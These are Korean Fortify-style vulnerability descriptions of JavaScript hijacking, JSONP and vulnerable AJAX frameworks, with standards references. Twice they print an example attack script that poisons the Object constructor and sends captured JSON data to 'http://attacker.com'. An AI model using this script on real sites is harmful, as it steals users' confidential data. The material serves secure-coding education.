이때 공격자가 사용자 자격 증명에 대한 액세스 권한을 얻지는 않기 때문에 이 방식은 피싱 공격이 아닙니다. 그러므로 피싱 방지 기능을 사용해도 공격을 피할 수 없습니다. 보다 복잡한 공격에서는 JavaScript를 사용하여 스크립트 태그를 동적으로 생성함으로써 응용 프로그램에 일련의 요청을 할 수 있습니다. 이와 동일한 기술을 사용하여 응용 프로그램 매시업을 생성하는 경우도 있습니다. 두 가지 경우의 차이는 매시업 시나리오의 경우 대상 응용 프로그램 중 하나가 악성 응용 프로그램이라는 점입니다.
References
[1] B. Chess, Y. O'Neil, and J. West JavaScript Hijacking
desc.dataflow.javascript.javascript_hijacking
Abstract
민감한 데이터를 전송하도록 JavaScript 주석을 사용하는 응용 프로그램은 JavaScript 하이재킹(hijacking)에 취약하므로 권한이 없는 공격자가 취약한 응용 프로그램의 기밀 데이터를 읽을 수 있습니다. 브라우저의 JavaScript 엔진에서 배열 생성자 감염을 허용하는 경우 JavaScript 배열을 도난당할 수 있습니다.
Explanation
응용 프로그램은 다음과 같은 경우 JavaScript 하이재킹(Hijacking)에 취약해질 수 있습니다.
1) 데이터 전송 형식으로 JavaScript 개체를 사용하는 경우
2) 기밀 데이터를 처리하는 경우 JavaScript 하이재킹(hijacking) 취약점이 직접적인 코딩 실수의 결과로 발생하지는 않기 때문에 Fortify Secure Coding Rulepacks는 HTTP 응답에서 JavaScript를 생성하는 것으로 나타나는 코드를 식별하여 잠재적인 JavaScript 하이재킹(hijacking) 취약점을 파악합니다.

웹 브라우저는 악성 웹 사이트로부터 사용자를 보호하기 위해서 동일 출처 정책(Same Origin Policy)을 강제로 사용합니다. JavaScript가 웹 페이지의 항목에 액세스하려면 동일 출처 정책(Same Origin Policy)에 따라 JavaScript 및 웹페이지의 출처가 동일한 도메인이어야 합니다. 동일 출처 정책(Same Origin Policy)을 사용하지 않을 경우, 악성 웹 사이트가 클라이언트의 기밀을 사용하여 다른 웹 사이트의 민감한 정보를 로드하고, 정보를 발췌하며 공격자와 역으로 통신하도록 JavaScript를 사용할 수 있습니다. 웹 응용 프로그램이 기밀 정보를 통신하는 데 JavaScript를 사용할 경우, 공격자는 JavaScript 하이재킹(hijacking)을 통해 동일 출처 정책(Same Origin Policy)을 피할 수 있습니다. 동일 출처 정책(Same Origin Policy)의 허점은 다른 모든 웹사이트의 컨텍스트에 포함되고 실행되도록 모든 웹사이트의 JavaScript를 허용한다는 점입니다. 악성 사이트가 클라이언트의 취약한 사이트에서 로드한 임의의 데이터를 직접 검사할 수는 없지만, JavaScript의 실행 및 관련한 부작용을 지켜보도록 허용하는 환경을 설정하면 이러한 허점을 이용할 수 있습니다. 많은 Web 2.0 응용 프로그램에서 데이터 전송 메커니즘으로 JavaScript를 사용하기 시작한 이후, 기존의 웹 응용 프로그램에는 없는 취약점이 자주 나타납니다.

JavaScript에서 정보 통신을 위한 가장 흔한 형식은 JSON(JavaScript Object Notation)입니다. JSON RFC는 JavaScript 개체 리터럴 구문의 부분 집합이 되도록 JSON을 지정합니다. JSON은 2가지 데이터 구조, 즉 배열 및 개체를 기반으로 합니다. 하나 또는 그 이상의 유효한 JavaScript 문으로 메시지를 해석할 수 있는 모든 데이터 전송 형식은 JavaScript 하이재킹(hijacking)에 대해 취약합니다. JSON 배열은 그 자체로 유효한 JavaScript 문이므로 JSON으로 인해 JavaScript 하이재킹(hijacking)이 보다 용이해집니다. 배열은 목록을 통신하는 데 있어 자연스러운 형태이므로 일반적으로 응용 프로그램이 여러 값으로 통신해야 하는 곳마다 이 배열이 사용됩니다. 달리 표현하자면, JSON 배열은 JavaScript 하이재킹(hijacking)에 대해 매우 취약합니다. JSON 개체는 자체로서 유효한 JavaScript 문인 일부 다른 JavaScript로 래핑된 경우에만 취약합니다.

예제 1: 다음 예제는 영업 리드를 관리하는 데 사용되는 웹 응용 프로그램의 클라이언트 및 서버 구성 요소 간의 올바른 JSON 상호 작용을 보여 주는 것으로 시작합니다. 또한, 공격자가 클라이언트를 모방하는 방법 및 서버가 반환하는 기밀 데이터에 액세스하는 방법을 나타냅니다. 이 예는 Mozilla 기반 브라우저용으로 작성되었습니다. 다른 주요 브라우저는 새 연산자를 사용하지 않고 개체가 생성될 때 네이티브 구성자를 덮어 쓰는 것을 허용하지 않습니다.

클라이언트는 서버에 데이터를 요청하고 다음 코드를 사용하여 결과를 JSON으로서 평가합니다.


var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);


이 코드가 실행될 때, 다음과 같이 나타나는 HTTP 요청이 생성됩니다.


GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR


(이러한 HTTP 응답 및 뒤따르는 내용에서, 본 설명과 직접적으로 관련이 없는 HTTP 헤더는 생략합니다.)
서버가 다음 JSON 형식의 배열로 응답합니다.


HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]


이 경우, JSON은 현재 사용자와 관련된 기밀 정보(영업 리드 목록)를 포함합니다. 다른 사용자는 사용자 세션 ID를 모르고서는 본 정보에 액세스할 수 없습니다. (최신 웹 응용 프로그램에서는 세션 ID가 쿠키로 저장됩니다.) 그러나, 피해자가 악성 웹 사이트를 방문하는 경우, 악성 사이트에서 JavaScript 하이재킹(hijacking)을 사용하여 해당 정보를 검색할 수 있습니다. 피해자가 속아서 다음 악성 코드를 포함하는 웹 페이지를 방문하는 경우, 피해자의 리드 정보(lead information)가 공격자의 웹 사이트로 전송됩니다.


<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}

// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>


악성 코드는 스크립트 태그를 사용하여 현재 페이지에 JSON 개체를 포함합니다. 웹 브라우저에서는 요청과 함께 적절한 세션 쿠키를 보냅니다. 즉 이 요청이 올바른 응용 프로그램에서 생성된 것처럼 처리됩니다.

JSON 배열이 클라이언트에 도착하면 이 배열은 악성 페이지의 컨텍스트에서 평가됩니다. JSON 평가를 모니터링하기 위해 악성 페이지에는 새 개체를 생성하는 데 사용되는 JavaScript 함수가 새롭게 정의되었습니다. 이를 통해 악성 코드가 후크를 삽입하여 각 개체 생성 작업에 액세스하고 개체 콘텐트를 악성 사이트로 다시 전송할 수 있게 되었습니다. 대신 다른 공격이 배열의 기본 생성자를 오버라이드할 수 있습니다. 매시업에서 사용하도록 작성된 응용 프로그램이 각 JavaScript 메시지의 끝에서 콜백 함수를 호출하는 경우가 있습니다. 이 콜백 함수는 매시업의 다른 응용 프로그램이 정의하도록 하기 위한 것입니다. 콜백 함수를 사용하면 JavaScript 하이재킹(hijacking) 공격을 간단하게 수행할 수 있습니다. 모든 공격자가 해야 할 작업은 함수만 정의하는 것입니다. 응용 프로그램은 매시업하기 쉽거나 안전하게 보호되는 상태일 수 있지만 동시에 두 상태일 수는 없습니다. 사용자가 취약한 사이트에 로그인되어 있지 않으면 공격자는 사용자에게 로그인을 요청한 후 적법한 응용 프로그램 로그인 페이지를 표시하여 공격을 시도할 수 있습니다.

이때 공격자가 사용자 자격 증명에 대한 액세스 권한을 얻지는 않기 때문에 이 방식은 피싱 공격이 아닙니다. 그러므로 피싱 방지 기능을 사용해도 공격을 피할 수 없습니다. 보다 복잡한 공격에서는 JavaScript를 사용하여 스크립트 태그를 동적으로 생성함으로써 응용 프로그램에 일련의 요청을 할 수 있습니다. 이와 동일한 기술을 사용하여 응용 프로그램 매시업을 생성하는 경우도 있습니다. 두 가지 경우의 차이는 매시업 시나리오의 경우 대상 응용 프로그램 중 하나가 악성 응용 프로그램이라는 점입니다.

예제 2: 다음 코드에서는 JSON 배열의 형태로 민감한 데이터가 포함된 JSON 응답을 보내는 Django 보기 메서드 샘플을 보여 줍니다.


from django.http.response import JsonResponse
...
def handle_upload(request):
response = JsonResponse(sensitive_data, safe=False) # Sensitive data is stored in a list
return response
References
[1] B. Chess, Y. O'Neil, and J. West JavaScript Hijacking
[2] Joe Walker JSON is not as safe as people think it is
[3] Jeremiah Grossman Advanced Web Attack Techniques using GMail
[4] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1
[5] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[6] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 2
[7] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 7
[8] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[10] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[13] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[14] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[28] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[29] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.structural.python.javascript_hijacking_constructor_poisoning
Abstract
JSONP는 안전하지 않은 통신 기술이므로 개인 정보 또는 민감한 데이터가 포함되지 않고 콜백 함수를 정화하는 경우에만 사용되어야 합니다.
Explanation
JSONP는 설계상 도메인 간 요청을 허용하지만 요청의 출처를 제한하거나 확인하는 메커니즘이 없습니다. 악성 사이트는 사용자를 가장하여 쉽게 JSONP 요청을 수행하고 JSON 응답을 처리할 수 있습니다. 그러므로 PII 또는 민감한 데이터를 전송할 때는 이 통신 기술을 사용하지 않는 것이 좋습니다.
JSONP는 설계상 콜백 함수 이름을 요청 사이트에 반영해야 JSON이 올바르게 처리되기 때문에 XSS 공격을 스스로 야기합니다. JavaScript 삽입을 방지하려면 콜백 함수 이름을 검증하고 정화하는 것이 필수적입니다. 콜백 함수 이름을 정화하려면 가능한 경우 허용 목록을 사용하거나 문자를 영숫자로만 제한하십시오.
References
[1] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1
[2] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[3] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 2
[4] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 7
[5] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[6] Standards Mapping - Common Weakness Enumeration CWE ID 346
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[8] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[10] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[11] Standards Mapping - OWASP Top 10 2021 A07 Identification and Authentication Failures
[12] Standards Mapping - OWASP Application Security Verification Standard 4.0 3.5.3 Token-based Session Management (L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 14.5.2 Validate HTTP Request Header Requirements (L1 L2 L3), 14.5.3 Validate HTTP Request Header Requirements (L1 L2 L3)
[13] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[14] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[28] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[29] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.semantic.dotnet.javascript_hijacking_jsonp
Abstract
JSONP는 안전하지 않은 통신 기술이므로 개인 정보 또는 민감한 데이터가 포함되지 않는 경우에만 사용되어야 합니다.
Explanation
JSONP는 설계상 도메인 간 요청을 허용하지만 요청의 출처를 제한하거나 확인하는 메커니즘이 없습니다. 악성 사이트는 사용자를 가장하여 쉽게 JSONP 요청을 수행하고 JSON 응답을 처리할 수 있습니다. 그러므로 PII 또는 민감한 데이터를 전송할 때는 이 통신 기술을 사용하지 않는 것이 좋습니다.
References
[1] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1
[2] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[3] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 2
[4] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 7
[5] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[6] Standards Mapping - Common Weakness Enumeration CWE ID 346
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[8] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[10] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[11] Standards Mapping - OWASP Top 10 2021 A07 Identification and Authentication Failures
[12] Standards Mapping - OWASP Application Security Verification Standard 4.0 3.5.3 Token-based Session Management (L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 14.5.2 Validate HTTP Request Header Requirements (L1 L2 L3), 14.5.3 Validate HTTP Request Header Requirements (L1 L2 L3)
[13] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[14] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[28] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[29] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.structural.scala.javascript_hijacking_jsonp
Abstract
Microsoft AJAX.NET(Atlas)를 사용하는 응용 프로그램은 JavaScript 하이재킹(hijacking)에 취약하며 권한이 없는 공격자가 기밀 데이터를 읽도록 허용합니다.
Explanation
Microsoft AJAX.NET(Atlas)은 서버와 클라이언트 간의 데이터 전송을 위해 JSON을 사용합니다. 프레임워크는 <script> 태그를 사용하여 평가할 수 있는 유효한 JavaScript로 구성되는 응답을 생성하므로 JavaScript 하이재킹(Hijacking)에 대해 취약합니다[1]. 기본적으로, 프레임워크는 요청을 전송하는 데 POST 메서드를 사용하기 때문에 악성 <script> 태그에서 요청을 생성하기 어렵게 합니다(<script> 태그는 GET 요청만 생성). 그러나, Microsoft AJAX.NET은 GET 요청을 사용하기 위한 메커니즘을 제공합니다. 사실, 많은 전문가들이 브라우저 캐싱에 영향을 주고 성능을 향상시키기 위해서 프로그래머에게 GET 요청을 사용하도록 권장합니다.

1) 데이터 전송 형식으로 JavaScript 개체를 사용하는 경우 및 2) 기밀 데이터를 처리하는 경우 응용 프로그램은 JavaScript 하이재킹에 취약할 수 있습니다. JavaScript 하이재킹(hijacking) 취약성이 직접적인 코딩 실수의 결과로 발생하지는 않기 때문에 Fortify Secure Coding Rulepacks는 HTTP 응답에서 JavaScript를 생성하는 것으로 나타나는 코드를 식별하여 잠재적인 JavaScript 하이재킹(hijacking) 취약성을 파악합니다.

웹 브라우저는 악성 웹 사이트로부터 사용자를 보호하기 위해서 동일 출처 정책(Same Origin Policy)을 강제로 사용합니다. JavaScript가 웹 페이지의 항목에 액세스하려면 동일 출처 정책(Same Origin Policy)에 따라 JavaScript 및 웹페이지의 출처가 동일한 도메인이어야 합니다. 동일 출처 정책(Same Origin Policy)을 사용하지 않을 경우, 악성 웹 사이트가 클라이언트의 기밀을 사용하여 다른 웹 사이트의 민감한 정보를 로드하고, 정보를 발췌하며 공격자와 역으로 통신하도록 JavaScript를 사용할 수 있습니다. 웹 응용 프로그램이 기밀 정보를 통신하는 데 JavaScript를 사용할 경우, 공격자는 JavaScript 하이재킹(hijacking)을 통해 동일 출처 정책(Same Origin Policy)을 피할 수 있습니다. 동일 출처 정책(Same Origin Policy)의 허점은 다른 모든 웹사이트의 컨텍스트에 포함되고 실행되도록 모든 웹사이트의 JavaScript를 허용한다는 점입니다. 악성 사이트가 클라이언트의 취약한 사이트에서 로드한 임의의 데이터를 직접 검사할 수는 없지만, JavaScript의 실행 및 관련한 부작용을 지켜보도록 허용하는 환경을 설정하면 이러한 허점을 이용할 수 있습니다. 많은 Web 2.0 응용 프로그램에서 데이터 전송 메커니즘으로 JavaScript를 사용하기 시작한 이후, 기존의 웹 응용 프로그램에는 없는 취약점이 자주 나타납니다.

JavaScript에서 정보 통신을 위한 가장 흔한 형식은 JSON(JavaScript Object Notation)입니다. JSON RFC는 JavaScript 개체 리터럴 구문의 부분 집합이 되도록 JSON을 지정합니다. JSON은 2가지 데이터 구조, 즉 배열 및 개체를 기반으로 합니다. 하나 또는 그 이상의 유효한 JavaScript 문으로 메시지를 해석할 수 있는 모든 데이터 전송 형식은 JavaScript 하이재킹(hijacking)에 대해 취약합니다. JSON 배열은 그 자체로 유효한 JavaScript 문이므로 JSON으로 인해 JavaScript 하이재킹(hijacking)이 보다 용이해집니다. 배열은 목록을 통신하는 데 있어 자연스러운 형태이므로 일반적으로 응용 프로그램이 여러 값으로 통신해야 하는 곳마다 이 배열이 사용됩니다. 달리 표현하자면, JSON 배열은 JavaScript 하이재킹(hijacking)에 대해 매우 취약합니다. JSON 개체는 자체로서 유효한 JavaScript 문인 일부 다른 JavaScript로 래핑된 경우에만 취약합니다.

예제 1: 다음 예제는 영업 리드를 관리하는 데 사용되는 웹 응용 프로그램의 클라이언트 및 서버 구성 요소 간의 올바른 JSON 상호 작용을 보여 주는 것으로 시작합니다. 또한, 공격자가 클라이언트를 모방하는 방법 및 서버가 반환하는 기밀 데이터에 액세스하는 방법을 나타냅니다. 이 예는 Mozilla 기반 브라우저용으로 작성되었습니다. 다른 주요 브라우저는 새 연산자를 사용하지 않고 개체가 생성될 때 네이티브 구성자를 덮어 쓰는 것을 허용하지 않습니다.

클라이언트는 서버에 데이터를 요청하고 다음 코드를 사용하여 결과를 JSON으로서 평가합니다.


var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);


이 코드가 실행될 때, 다음과 같이 나타나는 HTTP 요청이 생성됩니다.


GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR


(이러한 HTTP 응답 및 뒤따르는 내용에서, 본 설명과 직접적으로 관련이 없는 HTTP 헤더는 생략합니다.)
서버가 다음 JSON 형식의 배열로 응답합니다.


HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]


이 경우, JSON은 현재 사용자와 관련된 기밀 정보(영업 리드 목록)를 포함합니다. 다른 사용자는 사용자 세션 ID를 모르고서는 본 정보에 액세스할 수 없습니다. (최신 웹 응용 프로그램에서는 세션 ID가 쿠키로 저장됩니다.) 그러나, 피해자가 악성 웹 사이트를 방문하는 경우, 악성 사이트에서 JavaScript 하이재킹(hijacking)을 사용하여 해당 정보를 검색할 수 있습니다. 피해자가 속아서 다음 악성 코드를 포함하는 웹 페이지를 방문하는 경우, 피해자의 리드 정보(lead information)가 공격자의 웹 사이트로 전송됩니다.


<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}

// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>


악성 코드는 스크립트 태그를 사용하여 현재 페이지에 JSON 개체를 포함합니다. 웹 브라우저에서는 요청과 함께 적절한 세션 쿠키를 보냅니다. 즉 이 요청이 올바른 응용 프로그램에서 생성된 것처럼 처리됩니다.

JSON 배열이 클라이언트에 도착하면 이 배열은 악성 페이지의 컨텍스트에서 평가됩니다. JSON 평가를 모니터링하기 위해 악성 페이지에는 새 개체를 생성하는 데 사용되는 JavaScript 함수가 새롭게 정의되었습니다. 이를 통해 악성 코드가 후크를 삽입하여 각 개체 생성 작업에 액세스하고 개체 콘텐트를 악성 사이트로 다시 전송할 수 있게 되었습니다. 대신 다른 공격이 배열의 기본 생성자를 오버라이드할 수 있습니다. 매시업에서 사용하도록 작성된 응용 프로그램이 각 JavaScript 메시지의 끝에서 콜백 함수를 호출하는 경우가 있습니다. 이 콜백 함수는 매시업의 다른 응용 프로그램이 정의하도록 하기 위한 것입니다. 콜백 함수를 사용하면 JavaScript 하이재킹(hijacking) 공격을 간단하게 수행할 수 있습니다. 모든 공격자가 해야 할 작업은 함수만 정의하는 것입니다. 응용 프로그램은 매시업하기 쉽거나 안전하게 보호되는 상태일 수 있지만 동시에 두 상태일 수는 없습니다. 사용자가 취약한 사이트에 로그인되어 있지 않으면 공격자는 사용자에게 로그인을 요청한 후 적법한 응용 프로그램 로그인 페이지를 표시하여 공격을 시도할 수 있습니다.

이때 공격자가 사용자 자격 증명에 대한 액세스 권한을 얻지는 않기 때문에 이 방식은 피싱 공격이 아닙니다. 그러므로 피싱 방지 기능을 사용해도 공격을 피할 수 없습니다. 보다 복잡한 공격에서는 JavaScript를 사용하여 스크립트 태그를 동적으로 생성함으로써 응용 프로그램에 일련의 요청을 할 수 있습니다. 이와 동일한 기술을 사용하여 응용 프로그램 매시업을 생성하는 경우도 있습니다. 두 가지 경우의 차이는 매시업 시나리오의 경우 대상 응용 프로그램 중 하나가 악성 응용 프로그램이라는 점입니다.
References
[1] B. Chess, Y. O'Neil, and J. West JavaScript Hijacking
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1
[3] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 2
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 12
[6] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[8] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[10] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[11] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[12] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[26] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[27] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.semantic.dotnet.javascript_hijacking_vulnerable_framework
Abstract
DWR Ajax Framework 1.1.4 이하 버전을 활용하는 응용 프로그램은 권한이 없는 공격자가 기밀 데이터를 읽을 수 있도록 허용하는 JavaScript 하이재킹(hijacking)에 취약합니다.
Explanation
1.1.4까지의 모든 릴리스된 DWR 버전은 JavaScript 하이재킹에 취약합니다[1]. 지금까지 프레임워크에는 취약점을 방지하기 위한 어떠한 메커니즘도 구축되지 않았습니다. 좋은 소식은 DWR 2.0이 CSRF(Cross-Site Request Forgery)를 방지하도록 설계된 메커니즘에 의해 JavaScript 하이재킹(hijacking)으로부터 보호된다는 것입니다. 이 보호 기능은 다른 도메인에서 설정된 쿠키에 저장된 기밀을 악성 스크립트가 읽을 수 없다는 사실을 활용합니다. 이 방법으로 프레임워크는 쿠키에 저장된 값을 클라이언트와 서버 간에 공유되는 기밀로 사용할 수 있습니다. DWR 2.0은 세션 쿠키를 클라이언트의 해당 요청에 자동으로 추가하고 서버에서 각 요청이 올바른 값을 포함하는지 확인합니다.

